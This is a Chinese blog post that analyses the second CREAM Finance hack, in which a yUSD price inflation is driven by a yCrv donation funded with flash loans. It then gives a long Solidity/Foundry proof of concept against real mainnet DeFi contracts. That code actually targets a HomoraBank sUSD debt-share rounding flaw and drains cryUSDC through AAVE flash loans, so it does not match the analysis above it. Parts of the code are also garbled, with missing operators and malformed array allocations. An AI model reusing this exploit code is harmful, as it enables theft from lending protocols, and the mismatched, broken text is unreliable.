本文作者:bixia1994[1]
独乐乐,不如众乐乐。下面是我自己重现 CREAM 的第二次经典 HACK 的分析思路,以及 POC。其实我觉得锅应该 yEarn 来背。毕竟是 yEarn 与 Cream 合作的。
Ref htt...
本文作者:bixia1994[1]
独乐乐,不如众乐乐。下面是我自己重现 CREAM 的第二次经典 HACK 的分析思路,以及 POC。其实我觉得锅应该 yEarn 来背。毕竟是 yEarn 与 Cream 合作的。
Ref https://rekt.news/cream-rekt-2/
Ana 看起来像是 cryUSD 合约对 yUSD 的定价问题。yUSD 是 Curve 里面的三币池啊,针对 yUSD 的定价是根据 D 来确定的。是很难操纵的啊。cryUSD -> yUSD -> yDAI+yUSDC+yUSDT 这里需要查看的是 Cream 里面怎么对于 yUSD 进行定价
cryUSD's underlying token is YvToken 从下图的 price oracle 的实现来看,underlying price 无法操纵,需要查看 pricePerShare 是否能够操纵 function getUnderlyingPrice(CToken cToken) public view returns (uint256) { ... if (yvTokens[underlying].isYvToken) { //0x4b5bfd52124784745c1071dcb244c6688d2533d3 is YvTokens return getYvTokenPrice(underlying); } ... } function getYvTokenPrice(address token) internal view returns (uint256) { YvTokenInfo memory yvTokenInfo = yvTokens[token]; require(yvTokenInfo.isYvToken, "not a Yvault token");
uint256 pricePerShare;
address underlying;
if (yvTokenInfo.version == YvTokenVersion.V1) {
pricePerShare = YVaultV1Interface(token).getPricePerFullShare();
underlying = YVaultV1Interface(token).token();
} else {
pricePerShare = YVaultV2Interface(token).pricePerShare(); //self._shareVaule();
underlying = YVaultV2Interface(token).token();
}
uint256 underlyingPrice;
if (crvTokens[underlying].isCrvToken) {
underlyingPrice = getCrvTokenPrice(underlying);
} else {
underlyingPrice = getTokenPrice(underlying); //enter here, price set by admin
}
return mul_(underlyingPrice, Exp({mantissa: pricePerShare}));
} function getTokenPrice(address token) internal view returns (uint256) { if (token == wethAddress) { // weth always worth 1 return 1e18; }
AggregatorInfo memory aggregatorInfo = aggregators[token];
if (aggregatorInfo.isUsed) {
uint256 price = getPriceFromChainlink(aggregatorInfo.base, aggregatorInfo.quote);
if (aggregatorInfo.quote == Denominations.USD) {
// Convert the price to ETH based if it's USD based.
price = mul_(price, Exp({mantissa: getUsdcEthPrice()}));
}
uint256 underlyingDecimals = EIP20Interface(token).decimals();
return mul_(price, 10**(18 - underlyingDecimals));
}
return getPriceFromV1(token); //enter here
}
通过查看 yUSD 的shareVaule 函数,其核心公式是:vaule = 10 precisionFactor _ freeFunds / totalSupply / preceisionFactor; 这里的 freeFunds 是可以操纵的。freeFunds = token.balanceOf() + totalDebt 最简单的方式是直接捐赠大量的 yCrv 给到这个池子里,从而增加 freeFunds 的数量。或者 deposit, 注意 deposit 时,deposit 有一个上限值,deposit limit,不能超过 limit - totalAssests 的值。deposit 会增加 freeFunds,同时也会增加 totalSupply,基本上是等比例的。
所以要增大 shareVaule,应该只是捐赠 token 即可。
@view @internal def _shareValue(shares: uint256) -> uint256: ... lockedFundsRatio: uint256 = (block.timestamp - self.lastReport) * self.lockedProfitDegration freeFunds: uint256 = self._totalAssets() precisionFactor: uint256 = self.precisionFactor if(lockedFundsRatio < DEGREDATION_COEFFICIENT): freeFunds -= ( self.lockedProfit
totalAssets()
.return self.token.balanceOf(self) + self.totalDebt # 0xdF5e0e81Dff6FAF3A7e52BA697820c5e32D806A8 token curve yPool 整理一下:
flashloan DAI 存入到 yDAI add liquidity yDAI 到 yCrv donate yCrv 到 yUSD => inflat the yUSD price mint yUSD 到 cryUSD, borrow ETH, USDC, USDT, etc; swap ETH to DAI repay DAI POC 的核心是:donate yUSD 增加 yUSD 的价格;mint 大量的 yUSD 作为抵押物,从而可以借走其他资产。关键点是如何去持有大量的 yUSD?拿着大量的 yUSD 去 mint into cryUSD,然后用 inflated price 来借贷出更多的其他 token。
mint ETH to cryETH borrow yUSD from cryUSD, 1.5B /// yUSD cash in pool is too small, we need to amplify it. mint yUSD first donate yCrv to yUSDVault, increase price 0.5B mint cryUSD with increased price borrow others 谁持有大量的 yUSD 呢?或者谁持有大量的 yCrv?这道题最难的就是工程化,如何工程化的写出利润最大话的代码 DUSD 的 token 可以 redeem 成 yUSD。通过 DUSD 的合约来实现。
需要闪电贷 DAI,闪电贷 ETH,最好成本都可控;DAI -> Maker, flashMint ETH -> AAVE 52W ETH
需要值得注意的事情:
如何在 remove_liquidity_imbalance 里面,全部移除流动性,计算出能够得到的最大 yDAI 的数量?这里是使用了 magic number:uint amount = lp * 10058 /10000; 如何计算应该 swap 的 USDC 的数量?即 swap USDC to DUSD 这里也是使用 magic number:usdcAmount / 2 pragma solidity 0.8.12;
import "ds-test/test.sol"; import "forge-std/stdlib.sol"; import "forge-std/Vm.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract AlphaAddr is DSTest, stdCheats {
Vm public vm = Vm(HEVM_ADDRESS);
address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public constant crySUSD = 0x4e3a36A633f63aee0aB57b5054EC78867CB3C0b8; address public constant cryUSDC = 0x76Eb2FE28b36B3ee97F3Adae0C69606eeDB2A37c; address public constant sUSD = 0x57Ab1ec28D129707052df4dF418D58a2D46d5f51; address public constant SUSD_WETH = 0xf80758aB42C3B07dA84053Fd88804bCB6BAA4b5c; //sUSD = 0 address public constant UNI_WETH = 0xd3d2E2692501A5c9Ca623199D38826e513033a17; //UNI = 0 address public constant UNI = 0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984; address public constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address public constant unitroller = 0xAB1c342C7bf5Ec5F02ADEA1c2270670bCa144CbB; //comptorller
address public constant proxy = 0x5f5Cd91070960D13ee549C9CC47e7a4Cd00457bb;
address public constant coll = 0xe28D9dF7718b0b5Ba69E01073fE82254a9eD2F98; //collateral address public constant aave = 0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9; address public constant curve = 0xA5407eAE9Ba41422680e2e00537571bcC53efBfD; //sUSD = 3, USDC = 1 address public constant aUSD = 0xBcca60bB61934080951369a648Fb03DF4F96263C;
} interface aTokenLike {
} interface ComptrollerLike { function enterMarkets(address[] memory) external returns (uint[] memory); function markets(address) external returns (bool,uint); }
interface ERC20Like { function balanceOf(address _owner) external view returns (uint256); function transfer(address _to, uint256 _value) external; function approve(address,uint) external; function mint() external payable; function withdraw(uint) external; } interface CollLike { function mint(address token, uint amount) external ; function burn(address token, uint amount) external ; function balanceOf(address, uint) external view returns (uint); function safeTransferFrom(address, address, uint, uint,bytes memory) external; function setApprovalForAll(address, bool) external; } interface HomoBankLike { function execute( uint positionId, address spell, bytes memory data ) external returns (uint); function borrow(address token, uint amount) external; function repay(address token, uint amountCall) external; function putCollateral( address collToken, uint collId, uint amountCall ) external ; function takeCollateral( address collToken, uint collId, uint amount ) external ; function borrowBalanceCurrent(uint positionId, address token) external view returns (uint); function borrowBalanceStored(uint positionId, address token) external view returns (uint); function accrue(address token) external; function banks(address) external view returns (bool, uint8, address, uint, uint, uint,uint); function getBankInfo(address) external view returns (bool, address, uint, uint, uint); function resolveReserve(address token) external; function getPositionDebtShareOf(uint, address) external returns (uint);
} interface cTokenLike { function mint(uint) external returns(uint); function borrow(uint) external returns(uint); function getCash() external view returns (uint); } interface AAVELike { function flashLoan( address receiverAddress, address[] calldata assets, uint256[] calldata amounts, uint256[] calldata modes, address onBehalfOf, bytes calldata params, uint16 referralCode ) external; } interface CurveLike { function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external; } interface PairLike is ERC20Like{ function getReserves() external view returns ( uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast ); function mint(address to) external returns (uint256 liquidity); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes memory data ) external; } contract Calculator { function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) { require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint amountInWithFee = amountIn 997; uint numerator = amountInWithFee reserveOut; uint denominator = reserveIn * 1000 + amountInWithFee; amountOut = numerator / denominator; }
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint numerator = reserveIn amountOut 1000; uint denominator = (reserveOut - amountOut) 997; amountIn = (numerator / denominator + 1); } function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT'); require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); amountB = amountA reserveB / reserveA; } ///solve the equation /// y = 997xr0 / (r11000+997x) /// y / (r0 - y) = (z - x) / (r1 + x) /// solve Y => 3次方的方程,不是很好解 => z = 1.997 x + 0.997 / r1 x^2 => z = 1.997 * x
} contract Helper is AlphaAddr, Calculator { address public immutable owner; uint public COLL_ID = uint256(uint160(UNI_WETH)); uint public POSITION_ID; uint public COLL_AMOUNT;
constructor() { owner = msg.sender; CollLike(coll).setApprovalForAll(proxy, true); ERC20Like(UNI_WETH).approve(coll, type(uint256).max); ERC20Like(USDC).approve(curve, type(uint256).max); ERC20Like(sUSD).approve(curve, type(uint256).max); ERC20Like(sUSD).approve(crySUSD, type(uint256).max); ERC20Like(sUSD).approve(proxy, type(uint256).max); } ///swap ETH for UNI, add liquidity for UNI_WETH, and mint coll with lp function prepare() public payable { ERC20Like(WETH).mint{value: address(this).balance}(); uint z = ERC20Like(WETH).balanceOf(address(this)) - 1 ether; uint x = z * 1000 / 1997; ERC20Like(WETH).transfer(UNI_WETH, x); (uint r0, uint r1, ) = PairLike(UNI_WETH).getReserves(); uint y = Calculator.getAmountOut(x, r1, r0); PairLike(UNI_WETH).swap(y, 0, address(this), "");
(r0, r1, ) = PairLike(UNI_WETH).getReserves(); uint quoteY = Calculator.quote(y, r0, r1); uint quoteZ = Calculator.quote(z-x, r1, r0); uint amountA; uint amountB; if (quoteY <= z - x) { amountA = y; amountB = quoteY; } else { amountA = quoteZ; amountB = z - x; } ERC20Like(WETH).transfer(UNI_WETH, amountB); ERC20Like(UNI).transfer(UNI_WETH, amountA); uint lp = PairLike(UNI_WETH).mint(address(this));
CollLike(coll).mint(UNI_WETH, lp); COLL_AMOUNT = CollLike(coll).balanceOf(address(this), COLL_ID);
///swap some sUSD for step2 (r0, r1,) = PairLike(SUSD_WETH).getReserves(); uint sUSDAmount = Calculator.getAmountOut(1 ether, r1, r0); ERC20Like(WETH).transfer(SUSD_WETH, 1 ether); PairLike(SUSD_WETH).swap(sUSDAmount, 0, address(this), "");
res("prepare");
} /// borrow 1000 sUSD, deposit 1000 lp function step1() public { HomoBankLike(proxy).borrow(sUSD, 1000 ether); HomoBankLike(proxy).putCollateral(coll, COLL_ID, COLL_AMOUNT); }
function step2(uint positionId) public { POSITION_ID = positionId; HomoBankLike(proxy).accrue(sUSD); uint repayAmount = HomoBankLike(proxy).borrowBalanceStored(positionId, sUSD); HomoBankLike(proxy).repay(sUSD, repayAmount - 1);
(,,uint reserve, uint totalDebt, uint totalShare) = HomoBankLike(proxy).getBankInfo(sUSD); require(totalDebt == 1, "totalDebt should be 1"); require(totalShare == 1, "totalShare should be 1");
}
function step3() public { HomoBankLike(proxy).resolveReserve(sUSD); (,,uint reserve, uint totalDebt, uint totalShare) = HomoBankLike(proxy).getBankInfo(sUSD); require(totalShare == 1, "totalShare should be 1"); require(totalDebt > 0, "totalDebt should be greater than 0"); }
function step4() public { uint i = 0; while (true) { i++; (,,uint reserve, uint totalDebt, uint totalShare) = HomoBankLike(proxy).getBankInfo(sUSD); try HomoBankLike(proxy).borrow(sUSD, totalDebt - 1) { res("loop"); emit log_named_uint("success at ", i); } catch { emit log_named_uint("failed at ", i); break; } } } /// step5: flashloan from AAVE, borrow USDC, swap USDC for sUSD at Curve, and deposit into CREAM crySUSD to increase liquidity for borrowing. /// then continue to borrow sUSD again. // function flashLoan( // address receiverAddress, // address[] calldata assets, // uint256[] calldata amounts, // uint256[] calldata modes, // address onBehalfOf, // bytes calldata params, // uint16 referralCode // ) external; function step5(uint usdcAmountBorrowed) public { address[] memory tokens = new address; uint256[] memory amounts = new uint256; uint256[] memory modes = new uint256; tokens[0] = USDC; amounts[0] = usdcAmountBorrowed; // amounts[0] = ERC20Like(USDC).balanceOf(aUSD); modes[0] = 0; AAVELike(aave).flashLoan( address(this), tokens, amounts, modes, address(this), abi.encode(amounts[0]), uint16(0) ); res("step5"); ERC20Like(USDC).transfer(owner, ERC20Like(USDC).balanceOf(address(this))); } function executeOperation( address[] calldata assets, uint256[] calldata amounts, uint256[] calldata premiums, address initiator, bytes calldata params ) public returns (bool) { uint amount = abi.decode(params, (uint)); ERC20Like(USDC).approve(aave, amount * 101 / 100);
///swap USDC for sUSD CurveLike(curve).exchange(int128(1),int128(3),amount,0); ///mint sUSD into crySUSD uint sUSDAmount = ERC20Like(sUSD).balanceOf(address(this)); uint resMint = cTokenLike(crySUSD).mint(sUSDAmount); require(resMint == 0, "mint failed"); address[] memory tokens = new address; tokens[0] = crySUSD; tokens[1] = cryUSDC; uint[] memory resEnter = ComptrollerLike(unitroller).enterMarkets(tokens); require(resEnter[0] == 0, "enter failed");
step4(); res("after step4");
(,uint collateralRatio) = ComptrollerLike(unitroller).markets(crySUSD);
uint cash = cTokenLike(cryUSDC).getCash(); uint maxBorrowAmount = sUSDAmount / 10*12 collateralRatio / 10**18; uint borrowAmount = maxBorrowAmount > cash ? cash : maxBorrowAmount;
uint resBorrow = cTokenLike(cryUSDC).borrow(borrowAmount); require(resBorrow == 0, "borrow failed");
sUSDAmount = ERC20Like(sUSD).balanceOf(address(this)); CurveLike(curve).exchange(int128(3),int128(1),sUSDAmount,0);
emit log_named_uint("USDC balance", ERC20Like(USDC).balanceOf(address(this)));
return true;
} function onERC1155Received(address,address,uint,uint,bytes memory) external view returns (bytes4) { return this.onERC1155Received.selector; }
function res(string memory str) public { emit log_named_string("=======HELPER=======", str); emit log_named_uint("USDC balance", ERC20Like(USDC).balanceOf(address(this))); emit log_named_uint("sUSD balance", ERC20Like(sUSD).balanceOf(address(this))); (,,uint reserve, uint totalDebt, uint totalShare) = HomoBankLike(proxy).getBankInfo(sUSD); emit log_named_uint("totalDebt", totalDebt); emit log_named_uint("totalShare", totalShare); emit log_named_uint("debt share", HomoBankLike(proxy).getPositionDebtShareOf(POSITION_ID, sUSD));
}
}
contract Hack is AlphaAddr { address public helper; uint POSITION_ID; constructor() { helper = address(new Helper());
} function start() public payable { /// require(tx.origin == address(this), "bypass the only EOA check"); /// swap ETH for UNI, add liquidity for UNI_WETH, mint coll with lp Helper(helper).prepare{value: msg.value }(); /// step1: execute: borrow sUSD, putCollateral into bank to bypass the coll>debt check POSITION_ID = HomoBankLike(proxy).execute(0, helper, abi.encodeWithSelector(Helper.step1.selector));
/// step2: roll some blocks, repay amount vm.roll(block.number + 300); HomoBankLike(proxy).execute(POSITION_ID, helper, abi.encodeWithSelector(Helper.step2.selector, POSITION_ID));
/// steo3: resolveReserve to increase the total debt, while keep the total share unchanged Helper(helper).step3();
/// step4: borrow sUSD again, to limit the borrow amount a little bit smaller than the totalDebt so that it can be trimed HomoBankLike(proxy).execute(0, helper, abi.encodeWithSelector(Helper.step4.selector));
/// step5: flashloan from AAVE, borrow USDC, swap USDC for sUSD at Curve, and deposit into CREAM crySUSD to increase liquidity for borrowing. /// then continue to borrow sUSD again. HomoBankLike(proxy).execute(0, helper, abi.encodeWithSelector(Helper.step5.selector, 1_800_000e6)); res("after step5"); HomoBankLike(proxy).execute(0, helper, abi.encodeWithSelector(Helper.step5.selector, 10_000_000e6)); res("after step6"); // HomoBankLike(proxy).execute(0, helper, abi.encodeWithSelector(Helper.step5.selector, 10_000_000e6)); // res("after step7");
}
receive() external payable{}
function onERC1155Received(address,address,uint,uint,bytes memory) external view returns (bytes4){ return this.onERC1155Received.selector; }
function res(string memory str) public { emit log_named_string("=======HACKER=======", str); emit log_named_uint("USDC balance", ERC20Like(USDC).balanceOf(address(this))); }
}
contract FULL is AlphaAddr { Hack public hack;
function setUp() public { hack = new Hack(); } function test_start() public { vm.startPrank(address(hack), address(hack)); //to bypass the onlyEOA check vm.deal(address(hack), 15 ether); hack.start{value: 15 ether}(); vm.stopPrank(); }
} 参考资料 [1] bixia1994: https://learnblockchain.cn/people/3295
图片
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!